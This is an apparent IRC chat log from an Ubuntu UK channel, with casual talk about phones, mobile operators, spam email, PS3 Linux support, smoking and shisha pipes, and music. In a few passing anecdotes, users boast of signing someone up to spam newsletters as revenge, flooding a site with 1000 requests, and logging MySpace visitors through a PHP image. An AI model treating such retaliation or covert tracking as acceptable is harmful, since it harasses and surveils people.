<HazRPG> is that even possible?
<HazRPG> what arm processor you using?
<gord> no, my arm processor gets a better score than an i7 running IE8
<HazRPG> heh, oh I thought you meant win7 when you said IE8
<gord> ... why would i mean win7 when i said ie8?
<HazRPG> yeah, apparently IE9 is meant to fix silly things like that - but I highly doubt it
<HazRPG> lol no I thought you meant win7 with IE8 on it (thought your i7 was a typo)
<gord> web browsing on this seems fine though
<gord> just sound and video to go
<HazRPG> out of interest, in your benchmarks, you running the same o/s on both?
<gord> no i didn't run the ie8 benchmark, that was a reference
<HazRPG> gord: ah, fair enough
<HazRPG> still, its kinda obvious  that any browser would out-bench IE :P
<HazRPG> is it worth doing any of the ubuntu courses?
 * hamitron is a big believer in buying books
<HazRPG> true, but you can't put that on a CV though can you :P
<hamitron> but suppose that doesn't get you recognised stuff
<hamitron> aye
<Azelphur> popey, that giffgaff looks interesting
<hamitron> I've heard good things about the ubuntu stuff, but not done it myself
<Azelphur> what's the unlimited web, fair usage policy or tethering not allowed?
<hamitron> Azelphur: ?
<Azelphur> hamitron, he posted it on his twitter, a community ran mobile operator
<Azelphur> looks cool
<hamitron> nothing is truely unlimited ;/
<HazRPG> lol
<HazRPG> link please
<Azelphur> "However, as part of explaining all of this, giffgaff have also confirmed that if you buy a âGoodyBagâ (most of which come with âunlimitedâ data) then their is no hard and fast fair use limit; I suspect they still reserve the right to cut off someone who is running the connection 24Ã7, but in general, you can use more than 100MB a day without immediate impact."
<Azelphur> :O
<HazRPG> nvm google ftw
<Azelphur> this looks really awesome
<Azelphur> they don't allow tethering but neither does 3 I tether anyway xD
<Azelphur> or t-mobile before that, which I also tethered
<HazRPG> heh same
<Azelphur> yea, I'm getting me a giffgaff card
<Azelphur> If you get one use popey's referal you might get him nice things, http://popey.me/g4cv64
<HazRPG> considering it...
<hamitron> hmmm
<hamitron> I've been transcoding so much video lately, my seti@home performance is dropping :/
<HazRPG> haha, have you see the ad on that site xD
<HazRPG> http://giffgaff.com/index/us
<HazRPG> you know what, fudge it... I'm getting me a giffgaff xD
<HazRPG> *clicks popeys link*
<Azelphur> haha
<Azelphur> yea this looks awesome
<Azelphur> :D
<HazRPG> is popey not about on irc?
<Azelphur> he's probably asleep it's 2am
 * hamitron is getting one
<Azelphur> HazRPG, check o2 coverage checker
<Azelphur> the system is o2 based so
<Azelphur> hamitron, did I tell you I identified and defeated the DoS attack on my server? :p
<hamitron> dunno if I should transfer my number :/
<hamitron> erm, you said you had his name, phone number and address
<hamitron> or someone did
<HazRPG> Azelphur: yeah I get good o2 signal at home.
 * hamitron gets poor o2
<hamitron> but I get poor everything
<hamitron> :/
<HazRPG> Azelphur: in fact, I'm getting sick of my three contract, should be long finished by now... so been meaning to switch to something else anywas
<HazRPG> get really really poor three signal at home :/
<hamitron> :\
<HazRPG> anyways*
<HazRPG> ouch really hamitron?
<hamitron> absolute radio classic rock has the streams sorted \o/
<hamitron> I get 1 bar if lucky on everything
<hamitron> ;)
<HazRPG> I just use Rhythmbox Jamendo xD
<Azelphur> hamitron, yea :p
<hamitron> I live in a hole
<HazRPG> hamitron: yeah I get that... o2 is the only one that gives me 2 bars xD
<Azelphur> I'mma try it out see what I get
<hamitron> so you get a number with the sim card...
<hamitron> and can transfer your number later?
<hamitron> I been with orange for 13 years
<hamitron> :/
<Azelphur> hamitron, yea
<Azelphur> you get a migration code from your current supplier
<HazRPG> hmm, do we not have an ubuntu-uk page on facebook?
<hamitron> don't mention facebook!
<hamitron> plz
<hamitron> ;)
<hamitron> but seriously, do many people use it?
<hamitron> ;)
<HazRPG> why, because of all it security issues, its apps and all that crap
<hamitron> the only tech people I know, that are not on facebook, come here
<HazRPG> heh, I got it because my friends I hadn't seen since I was at school added me on it and was the easiest way to get in touch with him
<hamitron> yeh, I sorta miss losing contact with some friends
<hamitron> :/
<hamitron> regret even
<HazRPG> only reason to ever own fb
<hamitron> but they made me sign up to myspace
<HazRPG> same :/
<hamitron> then decided to change to something else
<hamitron> then facebook
<hamitron> hehe
<HazRPG> closed that ages ago when the craze died
<hamitron> I still got my basic white page
<hamitron> ;)
<HazRPG> I couldn't help but update the colours on mine
<hamitron> :D
<HazRPG> the web developer within just had to xD
<hamitron> I hate colours ;)
<HazRPG> one thing that sucked though, was I was doing some DJing at the time at our local rock venue... and tried to convince people to go down, and they did show... but to try and get others to go down, I wrote a php script so that people could put requests on my myspace form I added, and it gets submitted to my mysql db for me to view on my phone... but then myspace decided to block all form requests
<HazRPG> because people were using them in a bad way... personally they should have had a verification process to allow you to have them on yours
<HazRPG> if you can anything on your profile's html, then reset, etc
<HazRPG> but nooooooooo
<HazRPG> it sucked :(
<HazRPG> putting a link on your myspace didn't work as good as an actual html form
<HazRPG> thing that was stupid was, they never stopped people using php images T_T
<HazRPG> I had a php script on my server to render an image, and each time someone looked at my page, it would log who viewed it.
<hamitron> :/
<HazRPG> it was just proof of concept
<HazRPG> allowing any CSS coding on a site is just bad juju lol
<HazRPG> holy cow, I just thought
<HazRPG> I should have instead thrown out the html form on my profile, and replaced with an image link, with the picture looking exactly the same as the form did
<HazRPG> when they click on it, it would have opened up the proper website with the form
<HazRPG> dagnabit
<hamitron> :D
<HazRPG> 6 years too late for that epiphany xD
<hamitron> all too much effort imo
<hamitron> I just like the old fashioned IRC
<hamitron> and maybe ICQ
<HazRPG> ewww ICQ >_<
<HazRPG> *evil-cross*
<hamitron> better than MSN ;p
<HazRPG> for anonymity maybe...
<hamitron> more reliable too
<HazRPG> the number of viruses flowing through that thing, and random shits trying to add you for webcam (bad-word here)... it was unreal!
<hamitron> I used to use MSN as well, but that used to cause arguements with my gf
<HazRPG> really?
<hamitron> messages would just randomly not get through
<hamitron> and she would assume I was ignoring her
<HazRPG> just being on msn? or the fact that you used ICQ more?
<HazRPG> oh that
<HazRPG> heh
<HazRPG> <== used IRC
<HazRPG> and got my friends to do the same ^^,
<hamitron> most people I know use MSN
<HazRPG> only had msn for friends who wouldn't try irc
<hamitron> :/
<HazRPG> see, I find facebook has overtaken MSN
<hamitron> maybe
<hamitron> I'm not on either
<hamitron> :)
<hamitron> and when I read how much time some people burn on facebook... no way i intend to start
<HazRPG> people get really annoyed when they don't see me online and I keep telling them "Dude, I'm never offline - always on msn, you're the ones who aren't online"
<hamitron> :)
<HazRPG> stupid laggy fb chat
<HazRPG> heh, trust me I don't see the addiction towards fb
<hamitron> tbh, I am more likely to reduce the things I communicate through, the way things are
<HazRPG> best thing to do, never accept apps on it... and you'll be fine
<hamitron> too much spam mail
<hamitron> ah :)
<hamitron> and there has been problems with deleting your personal data...
<HazRPG> most people are on facebook cos they play this game or that game
<HazRPG> how so?
<hamitron> I've just read things
<HazRPG> my dad has deleted his like 5 times now xD
<hamitron> but is the stuff really deleted?
<HazRPG> same could be said about anything though?
<hamitron> it certainly used to be the case, stuff could still be accessed
<hamitron> suppose so
<HazRPG> I supposedly deleted a few of my old msn accounts, but when I try to login with them it says "would you like to recover all your data?"
<hamitron> but I mean... things like photo
<hamitron> if you tell it to remove all your data... others should not be able to still download it
<HazRPG> plus you can still be anonymous on facebook anyways, make an e-mail account for fb (www.mail.com for example and pick a domain) and then set yourself a double name
<hamitron> all effort
<hamitron> haha
<hamitron> better things to do with my time
<HazRPG> e.g. I use to go by Hazardous Hax on a few things
<hamitron> (like moan in here)
<hamitron> ;/
<HazRPG> ;p
<hamitron> 1865 unread emails
<hamitron> :/
<hamitron> going to have to be hard on them and delete some
<hamitron> too many "tips"
<HazRPG> I have 607 in my inbox, 668 From social networks, 2 Dad, 301 Newsletters, 279 from my own list of spam I made in filters, 79 youtube :/
<hamitron> unread?
<HazRPG> yeah all unread
<hamitron> it is a relief to hear someone else is as bad as me
<hamitron> :)
<HazRPG> I filter/label all mine into different stuff via gmail
<HazRPG> my proper gmail spam folder apparently has 5000+ >_<
<HazRPG> yeah tell me about it, I always thought I was the only one to have a massive list of unread :P
<hamitron> hehe
<hamitron> I've deleted all spam
<hamitron> and I always read important mail within a few days
<hamitron> but the backlog of reviews, tips and whitepapers is insane
<hamitron> most I won't bother with, but each has to be opened to see what is inside
<HazRPG> heh for important e-mails I have an e-mail address with just my full name on it ^^
<HazRPG> in that I have 1 unread e-mail ^^
<HazRPG> main email address for signing up to stuff, my other is personal friends, family, business related stuff
<hamitron> oldest unread email is 23/08/2007
<hamitron> \o/
<HazRPG> rofl
<hamitron> I find when I get a new email address, I get no spam until I give some certain "friends" it
<HazRPG> oh crap, I win xD
<HazRPG> 12/10/2006
<hamitron> haha
<HazRPG> haha, oops its my ex-gf too xD
<hamitron> I suspect it is because them friends who cause problems are part of a group who use a lot of CC
<hamitron> :/
<hamitron> don't get much spam now
<HazRPG> ah, see the friends I give it to are geeks xD
<hamitron> it is normally stupid women that cause me problems
<hamitron> :/
<HazRPG> plus the others I tell them "don't you DARE fw/cc/bcc any mail to me"
<hamitron> if only they listened
<hamitron> :)
<HazRPG> it worked
<HazRPG> I have one for them to CC crap to
<HazRPG> and one for them to send me important stuff to xD
<hamitron> I changed email address 4 times and told them 3 of them times
<hamitron> never listened
<hamitron> so now cut them off
<HazRPG> heh, I hate to say it but do my trick
<hamitron> tell them?
<hamitron> I mailed them and put filters in place
<hamitron> :/
<hamitron> then got complaints with them been banned
<hamitron> oh well
<HazRPG> I sent out a mass mail saying "hi guys, this is my new e-mail address. For those of you who like to Forward, CC or BCC mail, please don't to me. If you do, I shall be signing you up to newsletters to see how you like receiving crap loads of SPAM. Regards, Haz"
<hamitron> cut the spam down a lot since I reply to them all
<hamitron> haha
<hamitron> "Hi,
<hamitron> thanks for the mail, but no thanks.Â  You have had your address blocked by my automated filter system.Â  Abuse is caused by your incompetent use of Internet technology.Â  Please contact me via an alternative method to have this process reversed and follow rules given.Â  Thanks again, and hope to hear from you"
<HazRPG> one person refused to listen, and so I sent him a reply saying "thanks, clearly you don't read your e-mails... enjoy your spam" and signed him up to 10 newsletters
<hamitron> evil
<hamitron> :)
<HazRPG> yeah, but blocking people is just as evil xD
<hamitron> but all this has just made me give up with comms online
<hamitron> coms*
<HazRPG> I know how you feel
<hamitron> I login here, and just get the odd warning when I cross the line
<hamitron> easy
<hamitron> :)
<HazRPG> I have mail between 2007-2008 where I just never checked my e-mail address xD
<hamitron> :/
<hamitron> to my credit... I do have spells where I actually read them
<hamitron> just never get below 700 now
<HazRPG> hurray for spam and the internets way of annoying people!
<hamitron> most mine is ZDNet now
<hamitron> :/
<hamitron> sure they've increased the amount I get sent
<HazRPG> heh
<HazRPG> I had a spell whereby I went and read ALL emails I got and clicked the "unsubscribe" link... but I don't think it works :/
<hamitron> I found it works
<hamitron> :)
<hamitron> done it now for a year
<hamitron> used to get 60 spam emails per day
<hamitron> now get no more than 3
<hamitron> I assume it is the clicking anyway
<hamitron> I also reply to them
<HazRPG> ?
<hamitron> click the links to buy viagra and stuff
<hamitron> ;)
<HazRPG> xD
<hamitron> just hassle them
<hamitron> if everyone did it, they'd stop
<hamitron> ;)
<HazRPG> have you ever e-mailed the abuse@<domain_name> before for the servers that host said websites?
<hamitron> no
<HazRPG> cos I have, it works a treat xD
<hamitron> I normally target customer service
<hamitron> eg go to a meds site, and ask what would be best thing to handle stress of spam
<Azelphur> haha popey finally popped his cherry and rooted his hero
<HazRPG> I got a reply back once and it said "Thank you for your e-mail, we have looked into the problem and shut down the website for spamming many e-mail addresses." or words to that effect
<hamitron> I sent 1000 requests to 1 place once
<hamitron> :)
<hamitron> nice Azelphur
<hamitron> and nice haz
<Azelphur> haz?
<hamitron> I've decided I won't break any more devices in my life
<HazRPG>  /waves
<hamitron> if the manufacturer restricts a device to something I don't want, I won't buy it
<Azelphur> haha
<HazRPG> I'm tempted to install GeoHotz CFW on my PS3...
 * hamitron stands firm
<Azelphur> I rooted my g2 and g1 when I got them :D
<HazRPG> but I've already updated to 3.55
<hamitron> PS3 is one thing I would of bought, had they not removed the linux option
<hamitron> :)
<HazRPG> Azelphur: I haven't bothered rooting my Nexus One yet
<Azelphur> hehe
<hamitron> I really wanted a game console
<hamitron> :/
<HazRPG> in all honesty, linux didn't work that great on the PS3 :/
<hamitron> it has plenty of ram
<hamitron> ;/
<HazRPG> calculations was awesome fast... but if you needed anything that was RAM heavy... it sucked
<HazRPG> 256MB ram is all it had
<hamitron> this comp I am on has 128Mb...
<HazRPG> or at least had access to...
<Azelphur> ^ because they locked off most of the machine I heard
<HazRPG> yeah linux had access to 1 cpu, and limited gfx
<HazRPG> until Geo hax it and made them mad
<HazRPG> and in their rage kill attempt they blocked Other OS
<HazRPG> so Geo rage haxed it back in xD
<hamitron> tbh, it would be enough for me how it was...
<hamitron> not something I need or would use much
<hamitron> but just sony removing it annoyed me
<HazRPG> wasn't a fully supported processor, so I had trouble finding apps for it
<HazRPG> or at least with ubuntu ps3
<hamitron> I was about 2 weeks away from buying a 2nd hand ps3 for it
<hamitron> and over paying, just to get the fat version
<hamitron> lucky, sony did not delay a month
<hamitron> but if they had, I'd be really upset
<hamitron> and it has knocked my confidence in sony
<hamitron> nearly getting burnt, is close enough for me...
<hamitron> </rant>
<hamitron> sorry, always do that ;/
<HazRPG> trust me I was more pissed off then you would have been though
<Azelphur> can't you demand a refund?
<HazRPG> I'd been running linux on my original fat 60GB for about 3 years when they took that feature out
<HazRPG> Azelphur: nope :/
<Azelphur> what happened to the class action?
<HazRPG> which is why Geo is currently in a law suit that sony filed
<Azelphur> o.O
<HazRPG> not for trying to get a refund
<HazRPG> but for trying to put back an option in his console that was originally a "feature" that was advertised for in the manuals and on tv/box art
<hamitron> more I think about it, the less likely I will get a PSP 2/Phone
<HazRPG> I barely use my PSP, so I don't see the point in getting it
<HazRPG> only time my PSP or DS gets cracked open now, is to take it on long flights
<hamitron> I either play my PSP, or read a book when I go for a shit
<HazRPG> but when I buy a kindle... I fully plan on not bothering with my PSP or DS
<hamitron> so still gets a fair amount of use :)
<HazRPG> xD
<HazRPG> bothering haz?? argh I meant bother*
<hamitron> the 1 thing that stops me buying some new games, is if the games may not work on the custom firmware
<HazRPG> like brother, but without the RRRRRR
<HazRPG> hamitron: same
<hamitron> you done much with lua on it?
<HazRPG> I like my emu's too much to risk losing them
<hamitron> or other coding
<HazRPG> PSP you mean?
<hamitron> yeh
<HazRPG> not really
<HazRPG> only time I've coded in LUA is to make my own addon for wow
<HazRPG> (which apparently still works according to my friends xD)
<hamitron> :)
<hamitron> I got my ngage and psp to both code on
<hamitron> but never got round to it
<hamitron> :/
<hamitron> not had psp long though
<HazRPG> wow, I still have an ngage too somewhere... not sure if it still works
<hamitron> mine is my main phone ;)
<hamitron> my ngage qd has suffered the white screen of death
<hamitron> :(
<hamitron> so now I am forced to side talk
<HazRPG> my uncle in egypt always said "nuss-reef" which translates to "half slice of bread"... but they don't have sliced bread like we do, they have something similar to a naan bread
<HazRPG> I don't get why no one liked how the ngage talked from the side
<HazRPG> I found I had less trouble using my ngage then any other phone
<hamitron> I do
<hamitron> it gives me a sore ear for long calls :/
<hamitron> and I feel like a prat on it in public
<hamitron> ;)
<HazRPG> phone didn't overheat with long conversations
<HazRPG> heh, I found it better for long calls
<hamitron> do others?
<HazRPG> granted you couldn't just rest it on your shoulder though
<hamitron> I know it gets a better signal than smaller phones
<hamitron> I never could do that with any phone :/
<HazRPG> this is also true
<HazRPG> really, you can't rest it on your shoulder? (any phone?)
<hamitron> no
<HazRPG> till your head man xD
<sm1773r> hey guys
<hamitron> my neck hurts at large angles :/
<HazRPG> surely you can touch your head onto your shoulder right?
<hamitron> hi sm :)
<HazRPG> sm1773r: hey
<HazRPG> hamitron: ah
<hamitron> HazRPG: easier to hold the phone ;/
<HazRPG> lift your shoulder than xD
<sm1773r> ??? what u lot talkin bout lol
<HazRPG> phones xD
<HazRPG> gadgets
<HazRPG> etc
<hamitron> holding a phone to your ear with your shoulder atm
<hamitron> :|
<HazRPG> hmm, I'd say read up... but obv you just joined
<sm1773r> lol so im guessin then holding a phone without using ur hands
<HazRPG> is there like a history bot in here or something?
<sm1773r> duck tape it to ur head ....
<HazRPG> xD
<hamitron> ideally, the PSP would take a sim :/
<hamitron> that would be my dream phone
<sm1773r> elastic bands
<HazRPG> I use a ps3 headset for my phone
<sm1773r> has there been any new leaks of the psp phone since xmas
<hamitron> and no touch screen
<hamitron> I hate finger prints on my screen :/
<HazRPG> sometimes forget the damn thing is in my ear its so comfortable xD
<hamitron> :)
<hamitron> I would be willing to use a headset
<sm1773r> what the ps3 bluetooth headset
<HazRPG> haha yup
<hamitron> still tempted to try skype on the PSP
<hamitron> buy a number for it
<hamitron> :)
<sm1773r> it kills the inside of my ear after a hour or so
<HazRPG> I mainly got it for my ps3... but since non of my friends have VoIP
<hamitron> :/
<HazRPG> started using it on my PC/Phone instead xD
<HazRPG> hamitron: only thing is, you need to be in wifi range :P
<HazRPG> that you have access to
<hamitron> minor issue
<hamitron> ;/
<sm1773r> carry a miwi bout
<hamitron> I don't carry my phone out of this room...
<HazRPG> or carry a phone that has wifi tethering (like an android phone) and do it that way
<hamitron> more like a land line
<hamitron> if anything the PSP has a greater range than my phone.... to the bathroom ;)
<HazRPG> right, brb... going to go get some smokes from tescos
<hamitron> 3am :/
<hamitron> I better not get more coffee
<HazRPG> 24hr tescos :P
<sm1773r> lol should have stocked up earlier man
<HazRPG> I usually buy em in 100's
<hamitron> 100 pack? :|
<HazRPG> no 100 cigs xD
<HazRPG> 5-pack
<sm1773r> lol i used to but the misses started hating the fact that i only went shopping when i needed smokes
<HazRPG> but finished my last pack like 3hrs ago, and been lazy to move
<hamitron> 1 pack with 100 cigs won't go in your pocket, so was gonna say..
<hamitron> haha sm :D
<HazRPG> haha, my ex did that to me too sm ^^
<HazRPG> made me quit :(
<sm1773r> let me guess she was a non smoker
<HazRPG> quit for 9 months, til she dumped me :/
<HazRPG> sm1773r: yup :/
<HazRPG> apparently it "smelled bad"
<hamitron> it does ;)
<sm1773r> lol thats the only thing i like since it keeps the wife at bay
<HazRPG> I use to be a non-smoker, and I loved the smell of it (parents were smokers when I was little, dad like his cigar, and mum liked her cigs)
<hamitron> I like it in the right place
<hamitron> hate it at home
<hamitron> but fine down the pub
<sm1773r> i liked it in the pub but that joy has been taken away
<hamitron> it has? ;)
<sm1773r> cant smoke in pubs
<HazRPG> anyone noticed how nightclubs smell so bad now that smokers don't smoke indoors anymore?
<hamitron> legally ;/
<hamitron> yes HazRPG
<sm1773r> lol yea legally
<HazRPG> sm1773r: I smoke indoors in pubs all the time
<hamitron> sweaty men and piss :/
<sm1773r> @HAZ wouldnt no bud , last time i went clubbing i ended up marrying the person i pulled
<HazRPG> lock-ins however...
<HazRPG> sm1773r: :P
<hamitron> :)
<hamitron> I should go on the pull again soon
<HazRPG> see, I say nightclub... but what I really mean is rockclub...
<hamitron> same HazRPG
<hamitron> :)
<hamitron> well, mostly
<sm1773r> rock club ?
<HazRPG> yeah, with rock music instead of cheese
<sm1773r> lol k
<hamitron> I have a problem there HazRPG
<sm1773r> glasgow aint got mainy
<hamitron> I tend to chat up townies
<hamitron> :/
<HazRPG> don't get me wrong, I like all sorts of music... but well it's the crowd that I hate about "dance music" types
<hamitron> and get dragged into a pile of cheese
<sm1773r> all the ned n chavs
<HazRPG> sm1773r: you kidding? I went to a few in glasgow when my mate use to live there
<hamitron> at 60p per shot, rock all the way ;)
<sm1773r> yea but not mainy compaired to tipical niteclubs
<hamitron> ofc not
<hamitron> if there was, they'd be "typical" ;)
<sm1773r> true that
<HazRPG> I want me a linux chick... hard to find though in this small cumbrian city :/
<hamitron> LUG?
<sm1773r> trying to get the wife to change OS but aint having it , bloody iphone
<hamitron> I never actually been to a LUG
<hamitron> :\
<hamitron> never touched an iphone
<hamitron> :)
<HazRPG> LUG LUG LUG... as in the sound you make when you chug down beer?
<hamitron> :))
<sm1773r> had 4 , they are ok phones but got rid of mines because everyone and there dog has them now lol
<hamitron> hehe
<hamitron> I want a side talking Eee PC :/
<hamitron> just to be different
<HazRPG> sm1773r: shame, so far I've managed to convert a few of my ex's ... but they always seem to dump me after, almost like all the chicks I dated just wanted my IT expertise lol
<sm1773r> lol
<sm1773r> lol just using u for ur brain instead of looks
<HazRPG> apparently
<hamitron> I don't mind a woman "using" me ;)
<HazRPG> I don't, so long as they just keep using me ^^
<hamitron> :D
<sm1773r> yea but u think using me for the good stuff when we all no it is a case of can u put this shelf up
<HazRPG> no one likes to be a tossed sock
<HazRPG> (I wanted to use a word that starts with D instead of sock, however I'm not fully sure of the rules on such words xD)
<hamitron> it is against the rules
<hamitron> using such filth
 * hamitron shakes head
<sm1773r> tut tut
<hamitron> head on shoulders that is ;/
<sm1773r> lol back to the phone
<hamitron> yeh
<hamitron> before someone with power awakes
<hamitron> :)
<HazRPG> xD
<sm1773r> speaking of awake , its 3:20am why u both up
<HazRPG> right, as I was saying ... STOP, tesco time!
 * hamitron has a cough
 * HazRPG sleeps at 4pm and wakes at midnight at the moment
<sm1773r> lol forgot bout the lack of cigs
<sm1773r> ah same here sleep all day , bloody annoying
<hamitron> if I was to smoke, it would be a pipe
<hamitron> :)
<hamitron> way more cool
<sm1773r> what like hugh hefner
<HazRPG> I have a sheesha pipe, if that counts
<hamitron> cigs rolled with paper are just boring :/
<HazRPG> however, coal indoors is not a good plan xD
<sm1773r> ?
<HazRPG> esp. when my sister is constantly coming in and out of my computer room
<HazRPG> sorry "shisha pipe"
<sm1773r> lol ah ok
<hamitron> google corrected the spelling
<hamitron> :)
<HazRPG> indeed xD
<hamitron> that really is not what I had in mind
<hamitron> ;/
<sm1773r> lol good old google , i would have failed uni if it wasnt around
<HazRPG> I was typing it phonetically as its pronounced in arabic
<HazRPG> hamitron: I know, but its still a piped tobacco type thing though isn't it xD
<HazRPG> so tempted to light one up anyways xD
<hamitron> it is still cool
<hamitron> :)
<HazRPG> with some orange tobacco
<hamitron> but can't really carry it around with you...
<sm1773r> tie it to ur back maybe
<hamitron> http://www.shopping-toys.com/images/ux_a07121500ux0069_ux_c.jpg
<hamitron> omg omg
<hamitron> 10 quid
<HazRPG> http://www.4himonly.co.uk/images/445093-red-shisha-pipe.jpg
<hamitron> I may start smoking
<HazRPG> that red one goes in a box
<HazRPG> I have a blue one similar to that, but with a more egyptian style to it
 * hamitron is the sort of person who does the opersite to what he is advised
<sm1773r> i would still miss place it somewhere
<HazRPG> the pipe or shisha pipe?
<sm1773r> shisha pipe
<HazRPG> hamitron: DO start smoke...
 * HazRPG waits for response at the edge of his seat
<HazRPG> sm1773r: ah, heh yeah
<hamitron> :s
 * hamitron confused
<hamitron> everyone says don't
<hamitron> :/
<HazRPG> sm1773r: I wish it was popular here as it is in arabian countries... instead of taking your own out with you, you just order one with your meal/coffee/etc
<HazRPG> its fantastic!
<HazRPG> almost like being at a festival
<sm1773r> seen it on topgear special at xmas they were in a cafe just puffin away lol
<sm1773r> http://www.shishahookah.co.uk/shisha-pipe/crystal-oasis-hookah-38-syrian
<HazRPG> haha, oh yea forgot about that - saw that too
<sm1773r> lol 50 quid for this one
<hamitron> just looking....
<hamitron> how you know what bakky to buy? ;/
<HazRPG> cheaper over there tbh
<hamitron> complicated subject
<HazRPG> mine cost me Â£25 roughly
<hamitron> "Virginia leaf, flavoured with the essence of Coffee."
<hamitron> :D
<HazRPG> with coal + tobacco + box + bag of sanitised tips
<sm1773r> the range of flavoured tobacco for them is unbelievable
<HazRPG> hamitron: just get one to your taste really
<HazRPG> personally, melon has a nice strong flavour to it
<hamitron> that is pipe tobacco I think
<HazRPG> and orange
<HazRPG> and cherry I think
<hamitron> Â£4.79 per 25g
<HazRPG> still want to try cola, apple or double apple is popular - but personally I think it has no taste  to it (or very very mild)
<hamitron> what is coffee like?
<HazRPG> haha win: http://www.shishahookah.co.uk/shisha-pipe/skull-hookah-15
<HazRPG> hamitron: quite nice
<sm1773r> lol his and hers
<HazRPG> but like cigs, they're thousands of brands, so its hard to say just by just what flavour it is
<sm1773r> check the price lol http://www.shishahookah.co.uk/shisha-pipe/shisha-pipe-khalil-mamoon-cafe/superking-bhariya
 * hamitron wouldn't know how to use one
<HazRPG> its cos they're collectors pieces
<HazRPG> my dad had one that was 6'
<sm1773r> if u go abroad they set it all up in the cafe ect and u just puff away
<HazRPG> this is true
<HazRPG> or if your like me, the family teach you how to do it :P
<HazRPG> (mum's egyptian)
<sm1773r> grrrr
<sm1773r> was thinking of trying a diy but can see it going so wrong lol
<HazRPG> some tips I've had in the past is using lemon juice instead of water in the bowl
<HazRPG> DIY or a shisha pipe?
<HazRPG> that's just a water bong xD
<sm1773r> lol both , making a shisha from scratch but can see it going wrong
<HazRPG> http://www.youtube.com/watch?v=CjF8kRw1Q7A
<HazRPG> not hard, it really isn't
<HazRPG> if you have the right gear
<sm1773r> see thats to much work
<HazRPG> which bit xD?
<sm1773r> lol mix the shisha
 * hamitron has to wait for ages to buffer the vid
<hamitron> ;/
<HazRPG> it really isn't dude
<hamitron> tbh, pipe looks cheaper
<HazRPG> plus each pipe lasts about an hr xD
<sm1773r> really .... interested again now
<HazRPG> lol in the vid? or getting one?
<HazRPG> personally I just put holes anywhere and randomly
<sm1773r> getting one
<sm1773r> dont think the wife wuld be happy with all the tin foil going missing mind
<HazRPG> xD
<HazRPG> buy your own and stash it :P
<sm1773r> and she finds it and decides to use it for the chicken on sundays
<HazRPG> xD
<HazRPG> man, all this talk about smoking is making me want to now xD
<HazRPG> right bbs xD
<hamitron> laters
<hamitron> :)
<HazRPG> or I'm gonna go crazy lol
<sm1773r> lol oh yea tesco
<sm1773r> ive smoked bout 10 since tesco was 1st mentioned
<HazRPG> xD damn you!
<hamitron> :)
<sm1773r> brb need a cuppa
<HazRPG> right ready for my journey now... bbs
<HazRPG> make me one too :P
<sm1773r> kettle takes ages grabbed a beer instead lol
<sm1773r> what irc client u usin hamitron
<hamitron> pidgin
<hamitron> still not watched this youtube vid
<hamitron> :/
<hamitron> internet seems slower than normal
<sm1773r> soz bud was in living room there
<sm1773r> mines has been poor all day
<sm1773r> might need to reboot router
<HazRPG|Tescos> howdy
<HazRPG|Tescos> I did a router reboot earlier cos it was playing up
<HazRPG|Tescos> also, I use pidgin too
<HazRPG|Tescos> using dropbox to keep both my win & ubuntu lists updated
<sm1773r> lol i done a full install so ubuntu is all i run
<HazRPG|Tescos> I play games from time to time, so I can't fully convert over
<sm1773r> u feeling better now u have smokes
<HazRPG|Tescos> oh fuck aye xD
<sm1773r> dont really do pc gaming , the black beauty aka ps3 is my gaming comitment
<HazRPG|Tescos> and mountain dew :)
<sm1773r> lol dew
<HazRPG|Tescos> that's what I said to my sis
<HazRPG|Tescos> do the dew, mountain dew!
<sm1773r> lol
<sm1773r> prefer the good old monster energy
<HazRPG> heh, first time I tried that was at a festival
<sm1773r> trying to get used to xchat but doing my head in
<HazRPG> my birthday falls in the 2nd week of june, and download is always that weekend :D
<sm1773r> its no red bull but good enough
<HazRPG> sm1773r: how so?
<sm1773r> never used it before so trying to get used to the layout of it
<HazRPG> I think its daft how people consider mountain dew as an energy drink tbh, I remember back when it didn't have the word "energy" at the end of it
<HazRPG> its similar to mIRC in some ways, that was back when I had 98
<sm1773r> only started getting classed as energy after sports started giving it to there players
<HazRPG> oh how my friends wondered how I played quake online back then xD
<sm1773r> lol thoughs were the days
<HazRPG> yeah, but the bottle says "mountain dew energy" which is daft, I think it's just marketing so that the UK population will drink it
<HazRPG> surely you mean those :p
<sm1773r> lol prob , uk suckers
<sm1773r> lol that 2
<HazRPG> now I've got "those were the days my son, I thought they'd never end..." in my head
<sm1773r> think hamitron has fell asleep
<HazRPG> probs
<sm1773r> lol growing up i hated ppl saying those were the days and now i say it to everyone
<HazRPG> same
<HazRPG> heh
<HazRPG> http://www.youtube.com/watch?v=lNVit7cesj8 <== you have to watch if you haven't heard it before
<HazRPG> classic
<HazRPG> dad use to play it in the car all the time when I was growing up
<sm1773r> lol growing up all i heard was status quo and queen in the car
<HazRPG> dude, how old are you?
<HazRPG> lol
<sm1773r> lol going by that im guessing not as old as u may have thought
<HazRPG> lol no I'm thinking younger than I thought actually ^^
<sm1773r> see u , this song is stuck in my head now
<HazRPG> cos I heard nothing but 50's-60's music when I was growing up
<HazRPG> status quo and queen were like 70's or so
<sm1773r> late 70`s early 80`s
<HazRPG> what queen/status quo?
<sm1773r> yea
<HazRPG> haha, yeah, see I had it stuck in my head cos you mentioned it... thought I'd spread the joy xD
<sm1773r> lol well im going to send it to everyone in my email
<HazRPG> haha go for it xD
<sm1773r> tempted to load the wifes netbook and have youtube load when it turns on lol
<HazRPG> consider yourself lucky that you've got that song stuck in your head, at least you can't get stuff like this stuck: http://www.youtube.com/watch?v=oaHbEW0wisg#t1m05s
<HazRPG> winner!
<sm1773r> i want to click but im not sure any more ll
<hamitron> asleep? ;/
<sm1773r> lol shhh hes back
<HazRPG> its in arabic, so I guarantee you won't get it stuck in your head xD
<HazRPG> gowon, click it xD
<HazRPG> click it hard xD
<sm1773r> man it is making me feel sleepy
<HazRPG> I've already skipped the boring no-music movie starting part of it with the timestamp for you
<HazRPG> ah crap I put the timestamp in wrong >_<
<HazRPG> http://www.youtube.com/watch?v=oaHbEW0wisg#t=1m05s ?
<sm1773r> lol 1:40 and he starts singing
<HazRPG> ikr!
<HazRPG> all arabic music is soppy
<sm1773r> lol that is 2:30 seconds of my life i will never get back ta
<HazRPG> "habibi ya nour el ain" literally translates as "my love, you're the love of my eye"
<sm1773r> lol
<sm1773r> so the other eye isnt to sure
<HazRPG> well word for word it is 'my love light of the eye' which wouldn't make sense in english
<sm1773r> lol
<sm1773r> there is some weird songs on youtube that crack me up
<HazRPG> indeed
<sm1773r> guess u have heard the yogi bear song
